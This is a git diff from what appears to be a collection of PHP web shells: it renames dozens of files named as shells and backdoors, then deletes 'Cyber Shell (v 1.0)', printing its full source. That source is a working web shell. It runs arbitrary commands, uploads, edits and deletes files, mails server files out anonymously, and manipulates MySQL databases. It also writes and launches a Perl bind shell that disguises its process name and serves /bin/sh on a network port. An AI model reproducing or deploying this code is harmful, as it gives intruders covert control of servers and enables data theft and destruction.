Evilc0der.php rename to Collection/Safe0ver Shell -Safe Mod Bypass By Evilc0der.php diff --git a/Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php b/Collection/Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php similarity index 100% rename from Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php rename to Collection/Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php diff --git a/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php b/Collection/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php similarity index 100% rename from SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php rename to Collection/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php diff --git a/SimShell_1.0_-_Simorgh_Security_MGZ.php b/Collection/SimShell_1.0_-_Simorgh_Security_MGZ.php similarity index 100% rename from SimShell_1.0_-_Simorgh_Security_MGZ.php rename to Collection/SimShell_1.0_-_Simorgh_Security_MGZ.php diff --git a/Simple_PHP_backdoor_by_DK.php b/Collection/Simple_PHP_backdoor_by_DK.php similarity index 100% rename from Simple_PHP_backdoor_by_DK.php rename to Collection/Simple_PHP_backdoor_by_DK.php diff --git a/Sincap 1.0.php b/Collection/Sincap 1.0.php similarity index 100% rename from Sincap 1.0.php rename to Collection/Sincap 1.0.php diff --git a/Small Web Shell by ZaCo.php b/Collection/Small Web Shell by ZaCo.php similarity index 100% rename from Small Web Shell by ZaCo.php rename to Collection/Small Web Shell by ZaCo.php diff --git a/Uploader.php b/Collection/Uploader.php similarity index 100% rename from Uploader.php rename to Collection/Uploader.php diff --git a/Web-shell (c)ShAnKaR.php b/Collection/Web-shell (c)ShAnKaR.php similarity index 100% rename from Web-shell (c)ShAnKaR.php rename to Collection/Web-shell (c)ShAnKaR.php diff --git a/WinX Shell.php b/Collection/WinX Shell.php similarity index 100% rename from WinX Shell.php rename to Collection/WinX Shell.php diff --git a/Worse Linux Shell.php b/Collection/Worse Linux Shell.php similarity index 100% rename from Worse Linux Shell.php rename to Collection/Worse Linux Shell.php diff --git a/ZyklonShell.php b/Collection/ZyklonShell.php similarity index 100% rename from ZyklonShell.php rename to Collection/ZyklonShell.php diff --git a/aZRaiLPhp_v1.0.php b/Collection/aZRaiLPhp_v1.0.php similarity index 100% rename from aZRaiLPhp_v1.0.php rename to Collection/aZRaiLPhp_v1.0.php diff --git a/accept_language.php b/Collection/accept_language.php similarity index 100% rename from accept_language.php rename to Collection/accept_language.php diff --git a/OTHER/aspydrv.php b/Collection/aspydrv.php similarity index 100% rename from OTHER/aspydrv.php rename to Collection/aspydrv.php diff --git a/b374k-mini-shell-php.php.php b/Collection/b374k-mini-shell.php similarity index 100% rename from b374k-mini-shell-php.php.php rename to Collection/b374k-mini-shell.php diff --git a/backupsql.php b/Collection/backupsql.php similarity index 100% rename from backupsql.php rename to Collection/backupsql.php diff --git a/c0derz shell [csh] v. 0.1.1 release.php b/Collection/c0derz shell.php similarity index 100% rename from c0derz shell [csh] v. 0.1.1 release.php rename to Collection/c0derz shell.php diff --git a/c99_locus7s.php b/Collection/c99_locus7s.php similarity index 100% rename from c99_locus7s.php rename to Collection/c99_locus7s.php diff --git a/c99_madnet.php b/Collection/c99_madnet.php similarity index 100% rename from c99_madnet.php rename to Collection/c99_madnet.php diff --git a/OTHER/cgitelnet.php b/Collection/cgitelnet.php similarity index 100% rename from OTHER/cgitelnet.php rename to Collection/cgitelnet.php diff --git a/cpanel.php b/Collection/cpanel.php similarity index 100% rename from cpanel.php rename to Collection/cpanel.php diff --git a/cw.php b/Collection/cw.php similarity index 100% rename from cw.php rename to Collection/cw.php diff --git a/cybershell.php b/Collection/cybershell.php similarity index 100% rename from cybershell.php rename to Collection/cybershell.php diff --git a/dC3_Security_Crew_Shell_PRiV.php b/Collection/dC3_Security_Crew_Shell_PRiV.php similarity index 100% rename from dC3_Security_Crew_Shell_PRiV.php rename to Collection/dC3_Security_Crew_Shell_PRiV.php diff --git a/erne.php b/Collection/erne.php similarity index 100% rename from erne.php rename to Collection/erne.php diff --git a/ex0shell.php b/Collection/ex0shell.php similarity index 100% rename from ex0shell.php rename to Collection/ex0shell.php diff --git a/fatal.php b/Collection/fatal.php similarity index 100% rename from fatal.php rename to Collection/fatal.php diff --git a/ftpsearch.php b/Collection/ftpsearch.php similarity index 100% rename from ftpsearch.php rename to Collection/ftpsearch.php diff --git a/g00nshell-v1.3.php b/Collection/g00nshell-v1.3.php similarity index 100% rename from g00nshell-v1.3.php rename to Collection/g00nshell-v1.3.php diff --git a/OTHER/go-shell.php b/Collection/go-shell.php similarity index 100% rename from OTHER/go-shell.php rename to Collection/go-shell.php diff --git a/h4ntu shell [powered by tsoi].php b/Collection/h4ntu_shell.php similarity index 100% rename from h4ntu shell [powered by tsoi].php rename to Collection/h4ntu_shell.php diff --git a/hiddens shell v1.php b/Collection/hiddens shell v1.php similarity index 100% rename from hiddens shell v1.php rename to Collection/hiddens shell v1.php diff --git a/ironshell.php b/Collection/ironshell.php similarity index 100% rename from ironshell.php rename to Collection/ironshell.php diff --git a/kral.php b/Collection/kral.php similarity index 100% rename from kral.php rename to Collection/kral.php diff --git a/lamashell.php b/Collection/lamashell.php similarity index 100% rename from lamashell.php rename to Collection/lamashell.php diff --git a/lifkaS.php b/Collection/lifkaS.php similarity index 100% rename from lifkaS.php rename to Collection/lifkaS.php diff --git a/load_shell.php b/Collection/load_shell.php similarity index 100% rename from load_shell.php rename to Collection/load_shell.php diff --git a/lolipop.php b/Collection/lolipop.php similarity index 100% rename from lolipop.php rename to Collection/lolipop.php diff --git a/lostDC.php b/Collection/lostDC.php similarity index 100% rename from lostDC.php rename to Collection/lostDC.php diff --git a/matamu.php b/Collection/matamu.php similarity index 100% rename from matamu.php rename to Collection/matamu.php diff --git a/megabor.php b/Collection/megabor.php similarity index 100% rename from megabor.php rename to Collection/megabor.php diff --git a/mysql_tool.php b/Collection/mysql_tool.php similarity index 100% rename from mysql_tool.php rename to Collection/mysql_tool.php diff --git a/nshell.php b/Collection/nshell.php similarity index 100% rename from nshell.php rename to Collection/nshell.php diff --git a/pHpINJ.php b/Collection/pHpINJ.php similarity index 100% rename from pHpINJ.php rename to Collection/pHpINJ.php diff --git a/php-backdoor.php b/Collection/php-backdoor.php similarity index 100% rename from php-backdoor.php rename to Collection/php-backdoor.php diff --git a/OTHER/php-findsock-shell.php b/Collection/php-findsock-shell.php similarity index 100% rename from OTHER/php-findsock-shell.php rename to Collection/php-findsock-shell.php diff --git a/php-include-w-shell.php b/Collection/php-include-w-shell.php similarity index 100% rename from php-include-w-shell.php rename to Collection/php-include-w-shell.php diff --git a/php-reverse-shell.php b/Collection/php-reverse-shell.php similarity index 100% rename from php-reverse-shell.php rename to Collection/php-reverse-shell.php diff --git a/pws.php b/Collection/pws.php similarity index 100% rename from pws.php rename to Collection/pws.php diff --git a/qsd-php-backdoor.php b/Collection/qsd-php-backdoor.php similarity index 100% rename from qsd-php-backdoor.php rename to Collection/qsd-php-backdoor.php diff --git a/OTHER/robots.php b/Collection/robots.php similarity index 100% rename from OTHER/robots.php rename to Collection/robots.php diff --git a/rootshell.php b/Collection/rootshell.php similarity index 100% rename from rootshell.php rename to Collection/rootshell.php diff --git a/ru24_post_sh.php b/Collection/ru24_post_sh.php similarity index 100% rename from ru24_post_sh.php rename to Collection/ru24_post_sh.php diff --git a/s72_Shell_v1.1_Coding.php b/Collection/s72_Shell_v1.1_Coding.php similarity index 100% rename from s72_Shell_v1.1_Coding.php rename to Collection/s72_Shell_v1.1_Coding.php diff --git a/safe0ver.php b/Collection/safe0ver.php similarity index 100% rename from safe0ver.php rename to Collection/safe0ver.php diff --git a/simattacker.php b/Collection/simattacker.php similarity index 100% rename from simattacker.php rename to Collection/simattacker.php diff --git a/simple-backdoor.php b/Collection/simple-backdoor.php similarity index 100% rename from simple-backdoor.php rename to Collection/simple-backdoor.php diff --git a/simple_cmd.php b/Collection/simple_cmd.php similarity index 100% rename from simple_cmd.php rename to Collection/simple_cmd.php diff --git a/small.php b/Collection/small.php similarity index 100% rename from small.php rename to Collection/small.php diff --git a/soldierofallah.php b/Collection/soldierofallah.php similarity index 100% rename from soldierofallah.php rename to Collection/soldierofallah.php diff --git a/sosyete.php b/Collection/sosyete.php similarity index 100% rename from sosyete.php rename to Collection/sosyete.php diff --git a/spygrup.php b/Collection/spygrup.php similarity index 100% rename from spygrup.php rename to Collection/spygrup.php diff --git a/stres.php b/Collection/stres.php similarity index 100% rename from stres.php rename to Collection/stres.php diff --git a/OTHER/toolaspshell.php b/Collection/toolaspshell.php similarity index 100% rename from OTHER/toolaspshell.php rename to Collection/toolaspshell.php diff --git a/tryag.php b/Collection/tryag.php similarity index 100% rename from tryag.php rename to Collection/tryag.php diff --git a/zaco.php b/Collection/zaco.php similarity index 100% rename from zaco.php rename to Collection/zaco.php diff --git a/zacosmall.php b/Collection/zacosmall.php similarity index 100% rename from zacosmall.php rename to Collection/zacosmall.php diff --git a/OTHER/zehir4.php b/Collection/zehir4.php similarity index 100% rename from OTHER/zehir4.php rename to Collection/zehir4.php diff --git a/Cyber Shell (v 1.0).php b/Cyber Shell (v 1.0).php deleted file mode 100644 index 2dda125..0000000 --- a/Cyber Shell (v 1.0).php +++ /dev/null @@ -1,1033 +0,0 @@ - -BODY, TD, TR { -text-decoration: none; -font-family: Verdana; -font-size: 8pt; -SCROLLBAR-FACE-COLOR: #363d4e; -SCROLLBAR-HIGHLIGHT-COLOR: #363d4e; -SCROLLBAR-SHADOW-COLOR: #363d4e; -SCROLLBAR-ARROW-COLOR: #363d4e; -SCROLLBAR-TRACK-COLOR: #91AAFF -} -input, textarea, select { -font-family: Verdana; -font-size: 10px; -color: black; -background-color: white; -border: solid 1px; -border-color: black -} -UNKNOWN { -COLOR: #0006DE; -TEXT-DECORATION: none -} -A:link { -COLOR: #0006DE; -TEXT-DECORATION: none -} -A:hover { -COLOR: #FF0C0B; -TEXT-DECORATION: none -} -A:active { -COLOR: #0006DE; -TEXT-DECORATION: none -} -A:visited { -TEXT-DECORATION: none -} -"; - -foreach($_POST as $key => $value) {$$key=$value;} -foreach($_GET as $key => $value) {$$key=$value;} - -if (isset($_GET[imgname])) -{ -$img=array( -'dir'=> -'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQABADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1mG6mv7ZbiBbxrhlUtJFMAiOVDbdjOAQAR26d880lzr2paU6T6hbp9gH+ulCKjJkqAQBK+4ZPPAqhDB4i0pXtbfRvtUYYFZluo0DAKq9Ccj7ufxqlq9n4p1qyksn0IQLKoQyNeRsF+dGzgdfu/rXi0ni4tJxZ2S9n3Vj/2Q==', -'txt'=> -'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1yy1G3sdEtDPDEIorCCRpXOOWGAMAHuPqc9K4bx5481Twp4c03xVolpaRjU3EM1rcozqzbSRINrLzhQAeMjGc4Xb1NpqOhTaXpznX9MgnS1hU754yyMq8YBbgjceoNeb/AB2u9IPw+0TT9M1K1uxbXaIBFOrsFETgE4NN8ttNyVe+ux//2Q==', -'bg'=> -'R0lGODlhCAAbAPQAAOTq8uLp8uDo8d7m8N3l79vj7tni7dfh7dXf7NTe69Pe69Ld6tLc6tDb6c7a6MzY6MrX58nW5sfU5cXT5MPS48PR48HQ4sLQ48DP4r/P4r7O4b7N4b3N4b3N4L3M4LzM4CwAAAAACAAbAAAFXCAgjmJgnqagrurgvi4hz3Jh37ah7/rh/z6EcChUGI8KhnK5aDae0KdjSp0+rtgrZMvdRr7gr2RMHk/O6HNlza5Y3nBLZk7PYO6bvH7z6fv3gBt1c3cYcW9tiRQhADs=', -'file'=> -'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDrLnXbbSoILeLwJe6uyW8Baa0tWkDl4wxyQhAI4yCc/MDzzjITx9q+n3Go3VloUmjwRtbqbDUYHUsZBJh1XIwB5DcgDO85ztGNBtRjkaykiu9FdIFV4zJrcttIC1qsLhlSJsEc4YNuHYjJB5nXI0g0V1N/p0xLWsMMVrfG5ZUj+1MSSYowqjzlVVAwAoHHFXzQ5Lcvvd/L+vX16A91Y//Z', -); -@ob_clean(); -header("Content-type: image/gif"); -header("Cache-control: public"); -header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); -header("Cache-control: max-age=".(60*60*24*7)); -header("Last-Modified: ".date("r",filemtime(__FILE__))); -echo base64_decode($img[$imgname]); -die; -} - -if ($_GET[pass]==$aupassword) -{ -$_SESSION[aupass]=md5($aupassword); -} -if ($hiddenmode=="false") -if ((!isset($_GET[pass]) or ($_GET[pass]!=$aupassword)) and ($_SESSION[aupass]=="")) -{ -$diz="ok"; -echo " -$style















-
- - - - - - - - - - -
-Enter your password: -
- -
- -
-
-"; -} -if ($_SESSION[aupass]!="") -{ -if (!$_GET and !$_POST or isset($pass)) -$show="start"; - -function ext($str){ -for ($i=1; $i",">",$str); -return $str; -} -function fsize($filename){ -$s=filesize($filename); -if ($s>1048576){ -return round(($s/1048576),2)." mb"; -} -if ($s>1024){ -return round(($s/1024),2)." kb"; -} -return $s." byte"; -} -function tourl($str){ -$str= urlencode($str); -return $str; -} -function unbug($str){ -$str = stripslashes($str); -return $str; -} -function countbyte($filesize) { -if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; } -elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; } -elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; } -else { $filesize = $filesize . ""; } -return $filesize; -} -function downloadfile($file) { -if (!file_exists("$file")) die; -$size = filesize("$file"); -$filen=extractfilename($file); -header("Content-Type: application/force-download; name=\"$filen\""); -header("Content-Transfer-Encoding: binary"); -header("Content-Length: $size"); -header("Content-Disposition: attachment; filename=\"$filen\""); -header("Expires: 0"); -header("Cache-Control: no-cache, must-revalidate"); -header("Pragma: no-cache"); -readfile("$file"); -die; -} - -function anonim_mail($from,$to,$subject,$text,$file){ - $fp = fopen($file, "rb"); - while(!feof($fp)) - $attachment .= fread($fp, 4096); - $attachment = base64_encode($attachment); - $subject = "sendfile (".extractfilename($file).")"; - $boundary = uniqid("NextPart_"); - $headers = "From: $from\nContent-type: multipart/mixed; boundary=\"$boundary\""; - $info = $text; - $filename=extractfilename($file); - $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; - $send = mail($to, $subject, $info, $headers); -fclose($fp); -echo ""; -die; -} -if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]); -if (!empty($_GET[mailfile])) anonim_mail($email,$email,$_GET[mailfile],'File: '.$_GET[mailfile],$_GET[mailfile]); - -$d=$_GET[d]; -if (empty($d) or !isset($d)){ -$d=realpath("./"); -$d=str_replace("\\","/",$d); -} -$showdir=""; -$bufdir=""; -$buf = explode("/", $d); -for ($i=0;$i$d - -$style - - - - - - - - - -
-
$showdir
-EOF; - -function perms($file) -{ -$mode=fileperms($file); -if( $mode & 0x1000 ) -$type='p'; -else if( $mode & 0x2000 ) -$type='c'; -else if( $mode & 0x4000 ) -$type='d'; -else if( $mode & 0x6000 ) -$type='b'; -else if( $mode & 0x8000 ) -$type='-'; -else if( $mode & 0xA000 ) -$type='l'; -else if( $mode & 0xC000 ) -$type='s'; -else -$type='u'; -$owner["read"] = ($mode & 00400) ? 'r' : '-'; -$owner["write"] = ($mode & 00200) ? 'w' : '-'; -$owner["execute"] = ($mode & 00100) ? 'x' : '-'; -$group["read"] = ($mode & 00040) ? 'r' : '-'; -$group["write"] = ($mode & 00020) ? 'w' : '-'; -$group["execute"] = ($mode & 00010) ? 'x' : '-'; -$world["read"] = ($mode & 00004) ? 'r' : '-'; -$world["write"] = ($mode & 00002) ? 'w' : '-'; -$world["execute"] = ($mode & 00001) ? 'x' : '-'; -if( $mode & 0x800 ) -$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; -if( $mode & 0x400 ) -$group["execute"] = ($group['execute']=='x') ? 's' : 'S'; -if( $mode & 0x200 ) -$world["execute"] = ($world['execute']=='x') ? 't' : 'T'; -$s=sprintf("%1s", $type); -$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); -$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); -$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); -return trim($s); -} - -function updir($dir){ -if (strlen($dir)>2){ -for ($i=1; $i -
-����� - -����� - -� ������ - -����������� - -� ������ -
-EOF; - -$free = countbyte(diskfreespace("./")); -if (!empty($free)) echo "��������� �������� ������������ : $free
"; -$os=exec("uname"); -if (!empty($os)) echo "������� :".$os."
"; -if (!empty($REMOTE_ADDR)) echo "��� IP: $REMOTE_ADDR   $HTTP_X_FORWARDED_FOR
"; -$ghz=exec("cat /proc/cpuinfo | grep GHz"); -if (!empty($ghz)) echo "���� � ������:(GHz)".$ghz."
"; -$mhz=exec("cat /proc/cpuinfo | grep MHz"); -if (!empty($mhz)) echo "���� � ������:(MHz) ".$mhz."
"; -$my_id=exec("id"); -if (!empty($my_id)) echo "
������������:".$my_id."
"; -} - -function showdir($df) { -$df=str_replace("//","/",$df); -$dirs=array(); -$files=array(); -if ($dir=opendir($df)) { -while (($file=readdir($dir))!==false) { -if ($file=="." || $file=="..") continue; -if (is_dir("$df/$file")){ -$dirs[]=$file;} -else { -$files[]=$file;}}} -closedir($dir); -sort($dirs); -sort($files); -echo <<< EOF - -EOF; -for ($i=0; $i - - - - - - -EOF; -} -for ($i=0; $i - - - - - - -EOF; -} -echo "
$dirs[$i]�������
�������
$perm
$files[$i] ($fsize)ren/del/get/mail
$attr
$perm
"; -if (count($dirs)==0 && count($files)==0){ -echo <<< EOF - - - - -
����� �����
-EOF; -}} - -$edit=$_REQUEST[edit]; -if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){ -$file=fopen($edit,"r") or die ("��� ������� � ����� $edit"); -if (filesize($edit) > 0) -$tfile=fread($file,filesize($edit)) or die ("��� ������� � ����� $edit"); -else $tfile = ""; -fclose($file); -$tfile = htmlspecialchars($tfile,ENT_QUOTES); -echo " -
-
"; -$mydir=updir($edit); -echo " -��������� � $mydir/
-�� ������������ ���� : $edit
-����������� ���� ���� � ���� HTML -
- -
-"; -if (!isset($_REQUEST[readonly])) -echo ""; -echo " -
-
-
-"; -} -if (isset($edit) && (!empty($edit)) && (isset($ashtml))){ -$mydir=updir($edit); -echo " -
-��������� � $mydir/
-�� �������������� ���� : $edit -
-"; -readfile($edit); -echo " -
-
-"; -} - -if (isset($texoffile) && isset($nameoffile)) -{ -$texoffile=unbug($texoffile); -$f = fopen("$nameoffile", "w") or die ("��� ������� � ����� $nameoffile"); -fwrite($f, "$texoffile"); -fclose($f); -$mydir=updir($nameoffile); -echo ""; -die; -} - -if (isset($_REQUEST[delfile]) && ($_REQUEST[delfile]!="")) -{ -$delfile=$_REQUEST[delfile]; -$mydir=updir($delfile); -$deleted = unlink("$delfile"); -echo ""; -die; -} - -function deletedir($directory) { -if ($dir=opendir($directory)) { -while (($file=readdir($dir))!==false) { -if ($file=="." || $file=="..") continue; -if (is_dir("$directory/$file")) { -deletedir($directory."/".$file);} -else {unlink($directory."/".$file);}}} -closedir($dir); -rmdir("$directory/$file"); -} -if (isset($_REQUEST[deldir]) && (!empty($_REQUEST[deldir]))){ -$deldir=$_REQUEST[deldir]; -$mydir=updir(updir($deldir)); -deletedir("$deldir"); -echo ""; -die; -} - -if (isset($show)){showdir("$d");} - -{ -if (isset($_REQUEST[tools])) -echo <<< EOF -
- - - - -
-.: �������� ��� ������ ����� :. -
-
-EOF; -if (isset($_REQUEST[tools]) or isset($_REQUEST[tmkdir])) -echo <<< EOF -
- - - - - - - -
-
-.: ������� ����� :. -
- - - - -
-
-EOF; - -if (isset($newdir) && ($newdir!="")) -{ -$mydir=updir($newdir); -mkdir($newdir,"7777"); -echo ""; -} - -if(@$_GET['rename']){ -echo "RENAME $d/$filetorename ?

-
-
-RENAME
$filetorename

TO
-

- -
-"; -@$rto=$_POST['rto']; -if($rto){ -$fr1=$d."/".$filetorename; -$fr1=str_replace("//","/",$fr1); -$to1=$d."/".$rto; -$to1=str_replace("//","/",$to1); -rename($fr1,$to1); -echo "File
$filetorename
Renamed to $rto

"; -echo "";} -echo $copyr; -exit; -} - -if (isset($tools) or isset($tmkfile)) -echo <<< EOF -
- - - - - - - -
-
-.: ������� ���� :. -
- - - - -
-
-EOF; - -if (isset($newfile) && ($newfile!="")){ -$f = fopen("$newfile", "w+"); -fwrite($f, ""); -fclose($f); -$mydir=updir($newfile); -echo ""; -} - -if (isset($tools) or isset($tbackdoor)) -echo <<< EOF -
- - - - - - - -
-
-.: ������� ���� :. -
-��� �������: ����: - - - - -
-
-EOF; - -if (isset($bfileneme) && ($bfileneme!="") && isset($bport) && ($bport!="")){ -$script=" -#!/usr/bin/perl -\$port = $bport; -\$port = \$ARGV[0] if \$ARGV[0]; -exit if fork; -\$0 = \"updatedb\" . \" \" x100; -\$SIG{CHLD} = 'IGNORE'; -use Socket; -socket(S, PF_INET, SOCK_STREAM, 0); -setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); -bind(S, sockaddr_in(\$port, INADDR_ANY)); -listen(S, 50); -while(1) -{ - accept(X, S); - unless(fork) - { - open STDIN, \"<&X\"; - open STDOUT, \">&X\"; - open STDERR, \">&X\"; - close X; - exec(\"/bin/sh\"); - } - close X; -} -"; - -$f = fopen("$d/$bfileneme", "w+"); -fwrite($f, $script); -fclose($f); -system("perl $d/$bfileneme"); -echo ""; -} - -if (isset($tools) or isset($tbash)) -echo <<< EOF -
- - - - - - - -
-
- -.: ��������� ������� :. -
- - - - - -
-
-EOF; - -if (isset($cmd) && ($cmd!="")){ -echo "
"; -system($cmd); -echo "
"; -} - -if (isset($tools) or isset($tupload)){ -$updir="$d/"; -if(empty($go)) { -echo <<< EOF -
- - - - - - - -
-
-.: �������� ���� � ������� ������� :. -
- - - - - - -
-
-EOF; -} -else { -if (is_uploaded_file($userfile)) { -$fi = "������� ���� $userfile_name �������� $userfile_size ���� � ���������� $updir"; -} -echo "$fi
����� � ��������"; -} -if (is_uploaded_file($userfile)) { -$dest=$updir.$userfile_name; -move_uploaded_file($userfile, $dest); -}} - -if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass)) ){ -mysql_connect($db_server, $db_user, $db_pass) or die("�� ���� ������������ � ����"); -} - -if ((isset($dbname)) and (isset($table)) ) -{ -foreach($_POST as $var => $val) -if (substr($var,0,7) == 'newpole'){ -if (substr($var,7,strlen($var)) !== ''){ -$indif=substr($var,7,strlen($var)); -echo " $val "; -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -if ($xvar == "") -$xvar .= $indif; -else -$xvar .= ",".$indif; -if ($xval == "") -$xval .= "'$val'"; -else -$xval .= ",'$val'"; -}} - -if ($xvar != ""){ -mysql_query("INSERT INTO $table ($xvar) values ($xval)"); -} - -echo "����� � ������ ������ ��:$dbname"; -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -$re=mysql_query("select * from $table"); -echo ""; - -$res=mysql_fetch_array($re); -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if ($nvar == 128945432){ -$var=untag($var); -echo ""; -}} -echo ""; - -if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) -$param="limit $_SESSION[limit]"; - -$re=mysql_query("select * from $table $param"); - -while($res=mysql_fetch_array($re)){ -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if (!$pixidname){ -$pixidname=$var; -$pixid=$val; -} -if ($nvar == 128945432){ -$valtext=untag($val); -if ($valtext == "") $valtext="=�����="; - - -if ($_SESSION[lenth] == "on"){ -if (strlen($valtext)>40){ -$valtext=substr($valtext,0,40); -$valtext .="..."; -}} - -echo ""; -}} - -echo ""; -$pixidname=''; -$pixid=''; -} - -echo ""; - -$re=mysql_query("select * from $table"); -$res=mysql_fetch_array($re); -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if ($nvar == 128945432){ -$var=untag($var); -echo ""; -}} -echo ""; - -$re=mysql_query("select * from $table"); -$res=mysql_fetch_array($re); -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if ($nvar == 128945432){ -$var=untag($var); -echo ""; -}} -echo ""; -echo "
$var
$valtext�������
$var
